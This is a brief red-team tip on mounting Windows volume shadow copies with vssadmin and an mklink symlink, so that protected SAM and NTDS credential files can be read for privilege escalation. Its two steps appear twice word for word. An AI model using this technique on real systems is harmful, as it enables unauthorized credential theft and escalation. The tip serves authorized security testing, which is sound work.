Red Teamers: Volume shadow copies are backups of parts (or all) of the Windows filesystem. Accessing can be easy privesc (SAM, NTDS, etc.)
1. List shadows
vssadmin list shadows
2. Symlink for access
mklink /d c:\shadow \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
1. List shadows
vssadmin list shadows
2. Symlink for access
mklink /d c:\shadow \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\